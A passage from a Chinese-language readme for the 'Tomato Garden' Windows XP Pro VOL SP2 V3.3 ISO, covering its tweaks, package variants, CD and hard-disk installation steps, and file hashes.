+用记事本打开nfo文件
+给“我的电脑”的右键菜单中添加(服务,控制,设备)命令菜单
+为IE7加上几个常用搜索选择
+打开IE仿冒网站检查

四、WINDOWS目录中文件包说明
番茄花园 Windows XP Pro VOL SP2 系列(全部都集合补丁及优化)
1. TVOA --- 番茄花园 WinXP Pro VOL SP2 + 自动安装
2. TVOB --- 番茄花园 WinXP Pro VOL SP2 + 自动安装 + DPS驱动包

原版无改 Windows XP Pro VOL SP2 系列(除了集合补丁,IE7可选,WMP11可选,其他都没有修改)
3. VOLA --- 原版无改 WinXP Pro VOL SP2 + 自动安装
4. VOLB --- 原版无改 WinXP Pro VOL SP2 + 自动安装 + DPS驱动包

五、安装说明
1.光盘安装(推荐)
请用刻录软件,选择 映像刻录 方式来刻录ISO文件,刻录之前请先校验一下文件的准确性,刻录速度推荐24X!

a.自动安装
安装请设置光盘启动,然后选择第1个就可以自动安装!

b. 手动安装
安装请设置光盘启动,然后选择第2个就可以手动安装!

2. 硬盘安装(支持自动无人职守安装)

a.自动安装
请提取ISO中WINDOWS\TVOA(TVOB)\I386\winnt.bat中的所有内容到硬盘根目录,比如D:\I386,然后运行D:\I386\winnt.bat就可以安装。

b. 手动安装
请提取ISO中WINDOWS\TVOA(TVOB)\I386\winnt.bat中的所有内容到硬盘根目录,比如D:\I386,然后运行D:\I386\winnt.exe就可以安装。安装之前需要先加载smartdrv.exe(I386中有)

文件: TomatoWinXP_SP2_V3.3.ISO
大小: 710420480 字节
修改时间: 2007年8月12日, 5:07:20
MD5: 4928F7622EEAD628140B50048DF48322
SHA1: AABB6FE05C027C76C758CAED3C772A52D4564853
CRC32: 3BDFD43C